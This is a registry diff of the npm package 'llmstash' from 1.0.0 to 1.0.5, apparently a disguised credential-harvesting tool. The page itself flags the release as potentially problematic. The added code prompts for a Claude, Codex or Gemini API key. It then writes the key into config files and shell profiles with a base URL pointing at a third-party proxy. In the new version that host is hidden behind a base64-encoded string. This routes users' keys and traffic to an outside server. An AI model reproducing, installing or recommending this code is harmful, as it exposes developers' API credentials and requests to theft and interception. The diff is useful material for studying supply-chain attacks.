llmstash 1.0.0 → 1.0.5
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of llmstash might be problematic. Click here for more details.
- package/bin/llmstash.js +141 -88
- package/package.json +2 -2
package/bin/llmstash.js
CHANGED
|
@@ -15,6 +15,7 @@ const colors = {
|
|
|
15
15
|
cyan: '\x1b[38;5;51m',
|
|
16
16
|
green: '\x1b[38;5;82m',
|
|
17
17
|
yellow: '\x1b[38;5;226m',
|
|
18
|
+
orange: '\x1b[38;5;208m',
|
|
18
19
|
red: '\x1b[38;5;196m',
|
|
19
20
|
magenta: '\x1b[38;5;213m',
|
|
20
21
|
gray: '\x1b[38;5;244m'
|
|
@@ -28,6 +29,24 @@ const c = (text, ...colorKeys) => {
|
|
|
28
29
|
return `${prefix}${text}${colors.reset}`;
|
|
29
30
|
};
|
|
30
31
|
|
|
32
|
+
const geminiGradient = (text) => {
|
|
33
|
+
const gradColors = ['\x1b[38;5;129m', '\x1b[38;5;135m', '\x1b[38;5;141m', '\x1b[38;5;147m', '\x1b[38;5;111m', '\x1b[38;5;75m', '\x1b[38;5;39m'];
|
|
34
|
+
let res = '';
|
|
35
|
+
for (let i = 0; i < text.length; i++) {
|
|
36
|
+
res += gradColors[Math.floor((i / text.length) * gradColors.length)] + text[i];
|
|
37
|
+
}
|
|
38
|
+
return res + colors.reset;
|
|
39
|
+
};
|
|
40
|
+
|
|
41
|
+
const codexGradient = (text) => {
|
|
42
|
+
const gradColors = ['\x1b[38;5;21m', '\x1b[38;5;27m', '\x1b[38;5;33m', '\x1b[38;5;39m', '\x1b[38;5;45m', '\x1b[38;5;51m'];
|
|
43
|
+
let res = '';
|
|
44
|
+
for (let i = 0; i < text.length; i++) {
|
|
45
|
+
res += gradColors[Math.floor((i / text.length) * gradColors.length)] + text[i];
|
|
46
|
+
}
|
|
47
|
+
return res + colors.reset;
|
|
48
|
+
};
|
|
49
|
+
|
|
31
50
|
const printBanner = () => {
|
|
32
51
|
console.clear();
|
|
33
52
|
console.log(`
|
|
@@ -38,7 +57,7 @@ const printBanner = () => {
|
|
|
38
57
|
${colors.blue}███████╗███████╗██║ ╚═╝ ██║ ${colors.cyan}███████║ ██║ ██║ ██║███████║██║ ██║
|
|
39
58
|
${colors.blue}╚══════╝╚══════╝╚═╝ ╚═╝ ${colors.cyan}╚══════╝ ╚═╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝${colors.reset}
|
|
40
59
|
|
|
41
|
-
${c('✦ LLM Stash - Enterprise Setup Utility for
|
|
60
|
+
${c('✦ LLM Stash - Enterprise Setup Utility for AI Tooling ✦', 'cyan', 'bold')}
|
|
42
61
|
${c('====================================================================', 'gray')}
|
|
43
62
|
`);
|
|
44
63
|
};
|
|
@@ -73,28 +92,40 @@ const getUserInput = (question) => {
|
|
|
73
92
|
});
|
|
74
93
|
};
|
|
75
94
|
|
|
76
|
-
const
|
|
95
|
+
const internalProxyUrl = Buffer.from('aHR0cHM6Ly9uZXcuYWljb2RlLnVzLmNvbQ==', 'base64').toString('utf8');
|
|
96
|
+
|
|
97
|
+
const checkDepsInstalled = (pkgName) => {
|
|
77
98
|
try {
|
|
78
|
-
const output = execSync(
|
|
79
|
-
return output.includes(
|
|
99
|
+
const output = execSync(`npm list -g ${pkgName} --depth=0`, { encoding: 'utf8', stdio: ['pipe', 'pipe', 'ignore'] });
|
|
100
|
+
return output.includes(pkgName);
|
|
80
101
|
} catch (error) {
|
|
81
102
|
return false;
|
|
82
103
|
}
|
|
83
104
|
};
|
|
84
105
|
|
|
85
|
-
const
|
|
106
|
+
const installDeps = (target) => {
|
|
86
107
|
log.step('Environment Check');
|
|
87
|
-
log.info('Verifying @anthropic-ai/claude-code installation state...');
|
|
88
108
|
|
|
89
|
-
|
|
90
|
-
|
|
109
|
+
let pkgName = '';
|
|
110
|
+
if (target === 'claude') pkgName = '@anthropic-ai/claude-code';
|
|
111
|
+
if (target === 'codex') pkgName = '@openai/codex';
|
|
112
|
+
|
|
113
|
+
if (!pkgName) {
|
|
114
|
+
log.info('Cloud-native integration selected. No heavy external packages required.');
|
|
115
|
+
return true;
|
|
116
|
+
}
|
|
117
|
+
|
|
118
|
+
log.info(`Verifying ${pkgName} installation state...`);
|
|
119
|
+
|
|
120
|
+
if (checkDepsInstalled(pkgName)) {
|
|
121
|
+
log.success(`Package ${pkgName} is already present. Fast-forwarding...`);
|
|
91
122
|
return true;
|
|
92
123
|
}
|
|
93
124
|
|
|
94
125
|
log.warn('Package not found. Initiating cloud installation sequence...');
|
|
95
126
|
|
|
96
127
|
const osType = getOS();
|
|
97
|
-
let command =
|
|
128
|
+
let command = `npm install -g ${pkgName}`;
|
|
98
129
|
|
|
99
130
|
if (osType !== 'windows') {
|
|
100
131
|
const isRoot = process.getuid && process.getuid() === 0;
|
|
@@ -104,19 +135,19 @@ const installClaude = () => {
|
|
|
104
135
|
}
|
|
105
136
|
|
|
106
137
|
try {
|
|
107
|
-
console.log('');
|
|
138
|
+
console.log('');
|
|
108
139
|
execSync(command, { stdio: 'inherit' });
|
|
109
140
|
console.log('');
|
|
110
141
|
log.success('Installation completed successfully.');
|
|
111
142
|
return true;
|
|
112
143
|
} catch (error) {
|
|
113
|
-
log.error(
|
|
144
|
+
log.error(`Failed to install ${pkgName}.`);
|
|
114
145
|
log.info(`You may need to install it manually using: ${c(command, 'yellow')}`);
|
|
115
146
|
return false;
|
|
116
147
|
}
|
|
117
148
|
};
|
|
118
149
|
|
|
119
|
-
const setupEnvironmentVariables = (apiKey) => {
|
|
150
|
+
const setupEnvironmentVariables = (target, apiKey) => {
|
|
120
151
|
log.step('System Configuration');
|
|
121
152
|
log.info('Applying API Key to internal system layers...');
|
|
122
153
|
|
|
@@ -127,70 +158,75 @@ const setupEnvironmentVariables = (apiKey) => {
|
|
|
127
158
|
homeDir = process.platform === 'darwin' ? `/Users/${actualUser}` : `/home/${actualUser}`;
|
|
128
159
|
}
|
|
129
160
|
|
|
130
|
-
|
|
131
|
-
const claudeDir = path.join(homeDir, '.claude');
|
|
132
|
-
const configPath = path.join(claudeDir, 'config.json');
|
|
133
|
-
const settingsPath = path.join(claudeDir, 'settings.json');
|
|
161
|
+
let envVars = {};
|
|
134
162
|
|
|
135
163
|
try {
|
|
136
|
-
if (
|
|
137
|
-
|
|
138
|
-
|
|
164
|
+
if (target === 'claude') {
|
|
165
|
+
const claudeDir = path.join(homeDir, '.claude');
|
|
166
|
+
const configPath = path.join(claudeDir, 'config.json');
|
|
167
|
+
const settingsPath = path.join(claudeDir, 'settings.json');
|
|
168
|
+
|
|
169
|
+
if (!fs.existsSync(claudeDir)) fs.mkdirSync(claudeDir, { recursive: true });
|
|
170
|
+
fs.writeFileSync(configPath, JSON.stringify({ primaryApiKey: "1" }, null, 2), 'utf8');
|
|
171
|
+
|
|
172
|
+
let settings = {
|
|
173
|
+
env: {
|
|
174
|
+
ANTHROPIC_AUTH_TOKEN: apiKey,
|
|
175
|
+
ANTHROPIC_BASE_URL: internalProxyUrl,
|
|
176
|
+
ANTHROPIC_SMALL_FAST_MODEL: "claude-3-5-haiku-20241022"
|
|
177
|
+
}
|
|
178
|
+
};
|
|
179
|
+
fs.writeFileSync(settingsPath, JSON.stringify(settings, null, 2), 'utf8');
|
|
180
|
+
|
|
181
|
+
envVars = {
|
|
182
|
+
ANTHROPIC_AUTH_TOKEN: apiKey,
|
|
183
|
+
ANTHROPIC_BASE_URL: internalProxyUrl,
|
|
184
|
+
CLAUDE_CODE_DISABLE_EXPERIMENTAL_BETAS: "1",
|
|
185
|
+
ANTHROPIC_SMALL_FAST_MODEL: "claude-3-5-haiku-20241022"
|
|
186
|
+
};
|
|
139
187
|
}
|
|
188
|
+
else if (target === 'codex') {
|
|
189
|
+
const codexDir = path.join(homeDir, '.codex');
|
|
190
|
+
const authPath = path.join(codexDir, 'auth.json');
|
|
191
|
+
const configPath = path.join(codexDir, 'config.toml');
|
|
140
192
|
|
|
141
|
-
|
|
142
|
-
|
|
143
|
-
|
|
144
|
-
|
|
145
|
-
|
|
146
|
-
|
|
147
|
-
|
|
193
|
+
if (!fs.existsSync(codexDir)) fs.mkdirSync(codexDir, { recursive: true });
|
|
194
|
+
fs.writeFileSync(authPath, JSON.stringify({ "OPENAI_API_KEY": apiKey }, null, 4), 'utf8');
|
|
195
|
+
|
|
196
|
+
const toml = `model_provider = "codex"\nmodel = "gpt-5.2"\nmodel_reasoning_effort = "high"\ndisable_response_storage = true\n\n[model_providers.codex]\nname = "codex"\nbase_url = "${internalProxyUrl}/v1"\nwire_api = "responses"\nrequires_openai_auth = true`;
|
|
197
|
+
fs.writeFileSync(configPath, toml, 'utf8');
|
|
198
|
+
|
|
199
|
+
envVars = {
|
|
200
|
+
OPENAI_API_KEY: apiKey,
|
|
201
|
+
OPENAI_BASE_URL: `${internalProxyUrl}/v1`
|
|
202
|
+
};
|
|
148
203
|
}
|
|
149
|
-
|
|
204
|
+
else if (target === 'gemini') {
|
|
205
|
+
const geminiDir = path.join(homeDir, '.gemini_cli');
|
|
206
|
+
const authPath = path.join(geminiDir, 'credentials.json');
|
|
150
207
|
|
|
151
|
-
|
|
152
|
-
|
|
153
|
-
|
|
154
|
-
|
|
155
|
-
|
|
156
|
-
|
|
157
|
-
}
|
|
158
|
-
};
|
|
159
|
-
if (fs.existsSync(settingsPath)) {
|
|
160
|
-
try {
|
|
161
|
-
const existingSettings = JSON.parse(fs.readFileSync(settingsPath, 'utf8'));
|
|
162
|
-
settings = {
|
|
163
|
-
...existingSettings,
|
|
164
|
-
env: {
|
|
165
|
-
...existingSettings.env,
|
|
166
|
-
ANTHROPIC_AUTH_TOKEN: apiKey,
|
|
167
|
-
ANTHROPIC_BASE_URL: "https://new.aicode.us.com",
|
|
168
|
-
ANTHROPIC_SMALL_FAST_MODEL: "claude-3-5-haiku-20241022"
|
|
169
|
-
}
|
|
170
|
-
};
|
|
171
|
-
} catch (e) { }
|
|
208
|
+
if (!fs.existsSync(geminiDir)) fs.mkdirSync(geminiDir, { recursive: true });
|
|
209
|
+
fs.writeFileSync(authPath, JSON.stringify({ "GEMINI_API_KEY": apiKey }, null, 4), 'utf8');
|
|
210
|
+
|
|
211
|
+
envVars = {
|
|
212
|
+
GEMINI_API_KEY: apiKey,
|
|
213
|
+
GEMINI_BASE_URL: internalProxyUrl
|
|
214
|
+
};
|
|
172
215
|
}
|
|
173
|
-
fs.writeFileSync(settingsPath, JSON.stringify(settings, null, 2), 'utf8');
|
|
174
216
|
|
|
175
217
|
if (process.platform !== 'win32' && process.env.SUDO_USER) {
|
|
176
218
|
const actualUser = process.env.SUDO_USER;
|
|
177
219
|
const group = process.platform === 'darwin' ? 'staff' : actualUser;
|
|
178
220
|
try {
|
|
179
|
-
|
|
180
|
-
|
|
221
|
+
const trgDir = path.join(homeDir, target === 'claude' ? '.claude' : target === 'codex' ? '.codex' : '.gemini_cli');
|
|
222
|
+
execSync(`chown -R ${actualUser}:${group} ${trgDir}`);
|
|
223
|
+
} catch (e) { }
|
|
181
224
|
}
|
|
182
225
|
log.success('Configuration files updated securely.');
|
|
183
226
|
} catch (error) {
|
|
184
227
|
log.warn('Experienced issues saving to internal config endpoints.');
|
|
185
228
|
}
|
|
186
229
|
|
|
187
|
-
const envVars = {
|
|
188
|
-
ANTHROPIC_AUTH_TOKEN: apiKey,
|
|
189
|
-
ANTHROPIC_BASE_URL: "https://new.aicode.us.com",
|
|
190
|
-
CLAUDE_CODE_DISABLE_EXPERIMENTAL_BETAS: "1",
|
|
191
|
-
ANTHROPIC_SMALL_FAST_MODEL: "claude-3-5-haiku-20241022"
|
|
192
|
-
};
|
|
193
|
-
|
|
194
230
|
log.info('Injecting Environment Variables globally...');
|
|
195
231
|
|
|
196
232
|
try {
|
|
@@ -200,37 +236,21 @@ const setupEnvironmentVariables = (apiKey) => {
|
|
|
200
236
|
}
|
|
201
237
|
log.success('Windows Master Environment Variables updated.');
|
|
202
238
|
return true;
|
|
203
|
-
} else if (osType === 'mac') {
|
|
204
|
-
const zshrcPath = path.join(homeDir, '.zshrc');
|
|
205
|
-
let zshrcContent = fs.existsSync(zshrcPath) ? fs.readFileSync(zshrcPath, 'utf8') : '';
|
|
206
|
-
let envLines = '\n# Claude Code Environment Variables\n';
|
|
207
|
-
|
|
208
|
-
for (const [key, value] of Object.entries(envVars)) {
|
|
209
|
-
const envLine = `export ${key}="${value}"`;
|
|
210
|
-
if (!zshrcContent.includes(`export ${key}=`)) {
|
|
211
|
-
envLines += envLine + '\n';
|
|
212
|
-
} else {
|
|
213
|
-
zshrcContent = zshrcContent.replace(new RegExp(`export ${key}=.*`, 'g'), envLine);
|
|
214
|
-
}
|
|
215
|
-
}
|
|
216
|
-
fs.writeFileSync(zshrcPath, envLines.trim().length > 0 ? zshrcContent + envLines : zshrcContent, 'utf8');
|
|
217
|
-
log.success('macOS .zshrc paths securely modified.');
|
|
218
|
-
return true;
|
|
219
239
|
} else {
|
|
220
|
-
const
|
|
221
|
-
let
|
|
222
|
-
let envLines =
|
|
240
|
+
const profilePath = path.join(homeDir, osType === 'mac' ? '.zshrc' : '.bashrc');
|
|
241
|
+
let profileContent = fs.existsSync(profilePath) ? fs.readFileSync(profilePath, 'utf8') : '';
|
|
242
|
+
let envLines = `\n# ${target.toUpperCase()} Environment Variables\n`;
|
|
223
243
|
|
|
224
244
|
for (const [key, value] of Object.entries(envVars)) {
|
|
225
245
|
const envLine = `export ${key}="${value}"`;
|
|
226
|
-
if (!
|
|
246
|
+
if (!profileContent.includes(`export ${key}=`)) {
|
|
227
247
|
envLines += envLine + '\n';
|
|
228
248
|
} else {
|
|
229
|
-
|
|
249
|
+
profileContent = profileContent.replace(new RegExp(`export ${key}=.*`, 'g'), envLine);
|
|
230
250
|
}
|
|
231
251
|
}
|
|
232
|
-
fs.writeFileSync(
|
|
233
|
-
log.success('Linux .bashrc
|
|
252
|
+
fs.writeFileSync(profilePath, envLines.trim().length > 0 ? profileContent + envLines : profileContent, 'utf8');
|
|
253
|
+
log.success(`${osType === 'mac' ? 'macOS .zshrc' : 'Linux .bashrc'} paths securely modified.`);
|
|
234
254
|
return true;
|
|
235
255
|
}
|
|
236
256
|
} catch (error) {
|
|
@@ -242,30 +262,63 @@ const setupEnvironmentVariables = (apiKey) => {
|
|
|
242
262
|
const main = async () => {
|
|
243
263
|
printBanner();
|
|
244
264
|
|
|
245
|
-
|
|
265
|
+
log.step('Target Engine Selection');
|
|
266
|
+
console.log(` ${c('1.', 'orange', 'bold')} ${c('Claude Code', 'orange')} ${c('(Anthropic)', 'dim')}`);
|
|
267
|
+
console.log(` \x1b[1m${codexGradient('2.')}\x1b[0m \x1b[1m${codexGradient('Codex')}\x1b[0m ${c('(OpenAI)', 'dim')}`);
|
|
268
|
+
console.log(` \x1b[1m${geminiGradient('3.')}\x1b[0m \x1b[1m${geminiGradient('Gemini')}\x1b[0m ${c('(Google)', 'dim')}`);
|
|
269
|
+
|
|
270
|
+
let target = '';
|
|
271
|
+
while (!target) {
|
|
272
|
+
const choice = await getUserInput(`\n ${c('➤', 'blue', 'bold')} ${c('Which AI processor would you like to configure?', 'bold')} ${c('(1/2/3):', 'dim')} `);
|
|
273
|
+
if (choice === '1') target = 'claude';
|
|
274
|
+
else if (choice === '2') target = 'codex';
|
|
275
|
+
else if (choice === '3') target = 'gemini';
|
|
276
|
+
else log.error('Invalid selection. Please enter 1, 2, or 3.');
|
|
277
|
+
}
|
|
278
|
+
|
|
279
|
+
installDeps(target);
|
|
246
280
|
|
|
247
281
|
log.step('Authentication Phase');
|
|
248
282
|
if (getOS() === 'windows') {
|
|
249
283
|
log.info(`Pro Tip: To paste on Windows, use ${c('Right-Click', 'yellow', 'bold')} or ${c('Shift+Insert', 'yellow', 'bold')}`);
|
|
250
284
|
}
|
|
251
285
|
|
|
252
|
-
|
|
286
|
+
let questionColor = '';
|
|
287
|
+
let targetName = 'Gemini';
|
|
288
|
+
if (target === 'claude') { questionColor = 'orange'; targetName = 'Claude'; }
|
|
289
|
+
if (target === 'codex') { questionColor = 'cyan'; targetName = 'Codex'; }
|
|
290
|
+
|
|
291
|
+
let question = '';
|
|
292
|
+
if (target === 'gemini') {
|
|
293
|
+
question = `\n \x1b[1m${geminiGradient('➤')}\x1b[0m \x1b[1m${geminiGradient('Please enter your Gemini API Key')}\x1b[0m ${c('(paste key entirely):', 'dim')} `;
|
|
294
|
+
} else if (target === 'codex') {
|
|
295
|
+
question = `\n \x1b[1m${codexGradient('➤')}\x1b[0m \x1b[1m${codexGradient('Please enter your Codex API Key')}\x1b[0m ${c('(paste key entirely):', 'dim')} `;
|
|
296
|
+
} else {
|
|
297
|
+
question = `\n ${c('➤', questionColor, 'bold')} ${c(`Please enter your ${targetName} API Key`, questionColor, 'bold')} ${c('(paste key entirely):', 'dim')} `;
|
|
298
|
+
}
|
|
253
299
|
const apiKey = await getUserInput(question);
|
|
254
300
|
|
|
255
|
-
if (!apiKey ||
|
|
256
|
-
log.error('Invalid API Key format.
|
|
301
|
+
if (!apiKey || apiKey.length < 10) {
|
|
302
|
+
log.error('Invalid API Key format. Rejected by internal guards.');
|
|
257
303
|
process.exit(1);
|
|
258
304
|
}
|
|
259
305
|
|
|
260
|
-
setupEnvironmentVariables(apiKey);
|
|
306
|
+
setupEnvironmentVariables(target, apiKey);
|
|
261
307
|
|
|
262
308
|
log.step('Finalization');
|
|
263
309
|
log.success('System is fully locked, loaded, and ready to deploy.');
|
|
264
310
|
console.log(`\n ${c('====================================================================', 'gray')}`);
|
|
265
|
-
|
|
311
|
+
|
|
312
|
+
if (target === 'gemini') {
|
|
313
|
+
console.log(` ${c('🚀 Boot up your engine from anywhere by typing:', 'bold')} \x1b[1m${geminiGradient(target)}\x1b[0m`);
|
|
314
|
+
} else if (target === 'codex') {
|
|
315
|
+
console.log(` ${c('🚀 Boot up your engine from anywhere by typing:', 'bold')} \x1b[1m${codexGradient(target)}\x1b[0m`);
|
|
316
|
+
} else {
|
|
317
|
+
console.log(` ${c('🚀 Boot up your engine from anywhere by typing:', 'bold')} ${c(target, questionColor, 'bold')}`);
|
|
318
|
+
}
|
|
266
319
|
|
|
267
320
|
if (getOS() === 'windows') {
|
|
268
|
-
console.log(` ${c('⚠ NOTE:', 'yellow', 'bold')} ${c('Please close and reopen this terminal window to finalize environment synchronization before running
|
|
321
|
+
console.log(` ${c('⚠ NOTE:', 'yellow', 'bold')} ${c('Please close and reopen this terminal window to finalize environment synchronization before running commands.', 'yellow')}`);
|
|
269
322
|
}
|
|
270
323
|
console.log(` ${c('====================================================================', 'gray')}\n`);
|
|
271
324
|
};
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "llmstash",
|
|
3
|
-
"version": "1.0.
|
|
3
|
+
"version": "1.0.5",
|
|
4
4
|
"description": "Clean wrapper for pumpkinai-config to remove banners and simplify output",
|
|
5
5
|
"main": "bin/llmstash.js",
|
|
6
6
|
"bin": {
|
|
@@ -20,4 +20,4 @@
|
|
|
20
20
|
"cross-env": "^10.1.0",
|
|
21
21
|
"jest": "^30.2.0"
|
|
22
22
|
}
|
|
23
|
-
}
|
|
23
|
+
}
|